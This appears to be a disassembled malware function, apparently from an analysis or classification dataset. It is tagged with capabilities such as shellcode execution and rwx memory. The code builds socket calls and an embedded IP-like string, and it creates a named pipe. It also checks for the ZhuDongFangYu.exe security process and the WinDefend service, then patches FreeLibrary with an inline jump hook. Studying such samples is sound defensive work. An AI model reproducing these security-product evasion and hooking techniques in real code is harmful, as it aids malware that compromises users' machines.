Function at 0x10002670
Capabilities:
Allocate or change rwx memory
Create pipe
Enumerate processes
Execute shellcode via indirect call
Query service status
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x1e8
mov eax, dword [0x1002702c]
xor eax, esp
mov dword [esp + 0x1e4], eax
push esi
push edi
call fcn.10001330
call fcn.100010f0
mov dword [0x100296b0], eax
mov dword [0x100296b4], edx
call fcn.10001110
push dword [0x100296b4]
mov ecx, dword [0x100296dc]
push dword [0x100296b0]
mov dword [0x100296a8], eax
mov dword [0x100296ac], edx
call fcn.10001830
add esp, 8
mov dword [0x100296a0], eax
push dword [0x100296e0]
call eax
push dword [0x100296e4]
call dword [0x100296a0]
mov ecx, dword [str.socket]
mov esi, eax
mov eax, dword [str.send]
mov dword [esp + 0x1b0], eax
mov al, byte [0x10022c50]
mov byte [esp + 0x1b4], al
mov eax, dword [str.htons]
mov dword [esp + 0x18], eax
movzx eax, word [0x10022c58]
mov word [esp + 0x1c], ax
mov eax, esi
cdq
mov dword [esp + 0xc], ecx
mov edi, edx
mov cx, word [0x10022c48]
mov dword [esp + 0x4c], eax
mov eax, esi
mov word [esp + 0x10], cx
mov cl, byte [0x10022c4a]
cdq
push edx
mov byte [esp + 0x16], cl
lea ecx, [esp + 0x10]
push eax
mov dword [0x1002969c], esi
mov dword [esp + 0x58], 0x6e6e6f63
mov dword [esp + 0x5c], 0x746365
call fcn.10001830
mov esi, dword [esp + 0x54]
lea ecx, [esp + 0x58]
push edi
push esi
mov dword [0x10029698], eax
call fcn.10001830
push edi
push esi
lea ecx, [esp + 0x1c8]
mov dword [0x10029694], eax
call fcn.10001830
push edi
push esi
lea ecx, [esp + 0x38]
mov dword [0x1002958c], eax
call fcn.10001830
add esp, 0x20
mov dword [0x10029484], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, eax
lea eax, [esp + 0x50]
push 1
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
push 0
push 1
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push 0
push 0
push 0
push 0
push 4
push 6
push esi
call dword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
mov eax, dword [str.YTERE]
lea ecx, [esp + 0x1b0]
mov dword [esp + 0x1b0], eax
lea edx, [ecx + 1]
movzx eax, word [0x10022b34]
mov word [esp + 0x1b4], ax
mov dword [esp + 0x4c], 0x313233
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002805
sub ecx, edx
add ecx, 1
je 0x10002829
push ecx
lea eax, [esp + 0x1b4]
push eax
push 0x10027aa8
call fcn.100056c0
add esp, 0xc
lea ecx, [esp + 0x4c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002830
sub ecx, edx
add ecx, 1
je 0x10002851
push ecx
lea eax, [esp + 0x50]
push eax
push 0x10027ad5
call fcn.100056c0
add esp, 0xc
mov eax, dword [str._d3_]
xor ecx, ecx
movq xmm0, qword [str.27.124.45.20]
mov dword [esp + 0x1b0], eax
movzx eax, byte [0x10022b1c]
mov byte [esp + 0x1b4], al
mov eax, dword [0x10022b28]
mov dword [esp + 0x58], eax
movzx eax, byte [0x10022b2c]
movq qword [esp + 0x50], xmm0
mov byte [esp + 0x5c], al
nop
mov al, byte [esp + ecx + 0x1b0]
lea ecx, [ecx + 1]
mov byte [esp + ecx + 0x1b7], al
test al, al
jne 0x10002890
lea edx, [esp + 0x50]
mov esi, edx
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x100028b0
lea edi, [esp + 0x1b8]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100028c1
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1b8]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100028e1
sub ecx, edx
add ecx, 1
je 0x10002905
push ecx
lea eax, [esp + 0x1bc]
push eax
push 0x10027af9
call fcn.100056c0
add esp, 0xc
mov eax, 0x6f
lea ecx, [esp + 0x4c]
mov word [esp + 0x4c], ax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002916
sub ecx, edx
add ecx, 1
je 0x10002937
push ecx
lea eax, [esp + 0x50]
push eax
push 0x10027b4d
call fcn.100056c0
add esp, 0xc
mov eax, dword [0x10022d60]
movups xmm0, xmmword [str..pipeWF3ss22NHFsnBgfsHDF6]
push 0
push 0
push 0
push 0
push 1
mov dword [esp + 0x7c], eax
mov ax, word [0x10022d64]
push 0
mov word [esp + 0x84], ax
lea eax, [esp + 0x68]
movups xmmword [esp + 0x68], xmm0
push 3
movq xmm0, qword [0x10022d58]
push eax
movq qword [esp + 0x80], xmm0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [0x10029770], eax
cmp eax, 0xffffffff
jne 0x10002996
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.10002090
push 0x100296bc
push dword [0x10029704]
call dword [sym.imp.ADVAPI32.dll_ConvertSidToStringSidA]
movups xmm0, xmmword [str.ZhuDongFangYu.exe]
mov ax, word [0x10022d38]
push 0
push 2
mov dword [esp + 0x1c], 0x303633
movups xmmword [esp + 0x28], xmm0
mov word [esp + 0x38], ax
mov dword [esp + 0x90], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [esp + 0x88]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10002a8c
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [esp + 0x88]
push eax
push esi
call edi
test eax, eax
je 0x10002a8c
lea ecx, [esp + 0x14]
lea eax, [esp + 0xac]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10002a40
test dl, dl
je 0x10002a3c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10002a40
add eax, 2
add ecx, 2
test dl, dl
jne 0x10002a20
xor eax, eax
jmp 0x10002a45
sbb eax, eax
or eax, 1
test eax, eax
je 0x10002a8c
lea eax, [esp + 0x20]
lea ecx, [esp + 0xac]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10002a74
test dl, dl
je 0x10002a70
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10002a74
add ecx, 2
add eax, 2
test dl, dl
jne 0x10002a54
xor eax, eax
jmp 0x10002a79
sbb eax, eax
or eax, 1
test eax, eax
je 0x10002a8c
lea eax, [esp + 0x88]
push eax
push esi
call edi
test eax, eax
jne 0x10002a12
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 4
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x10002aa9
xor al, al
jmp 0x10002b07
push 4
push str.WinDefend
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x10002ac8
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
jmp 0x10002b07
lea eax, [esp + 0x1b0]
push eax
push 0x24
lea eax, [esp + 0x58]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
jne 0x10002af4
call esi
push edi
call esi
xor al, al
jmp 0x10002b07
cmp dword [esp + 0x58], 4
sete byte [esp + 0x50]
call esi
push edi
call esi
mov al, byte [esp + 0x4c]
movzx eax, al
mov dword [0x10027b70], eax
call fcn.10001d50
mov dword [0x10027b6c], eax
push str.FreeLibrary
push str.Kernel32.dll
test eax, eax
je 0x10002b5f
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, eax
lea eax, [esp + 0x4c]
push eax
push 0x40
push 5
push edi
call esi
mov ecx, dword [edi]
mov dword [0x100289b0], ecx
mov al, byte [edi + 4]
mov byte [0x100289b4], al
mov eax, 0x10002330
jmp 0x10002b95
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, eax
lea eax, [esp + 0x4c]
push eax
push 0x40
push 5
push edi
call esi
mov ecx, dword [edi]
mov dword [0x100289b0], ecx
mov al, byte [edi + 4]
mov byte [0x100289b4], al
mov eax, 0x100024b0
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
lea eax, [esp + 0x4c]
push eax
mov byte [edi], 0xe9
push dword [esp + 0x50]
push 5
push edi
call esi
mov ecx, dword [esp + 0x1ec]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.10003dea
mov esp, ebp
pop ebp
ret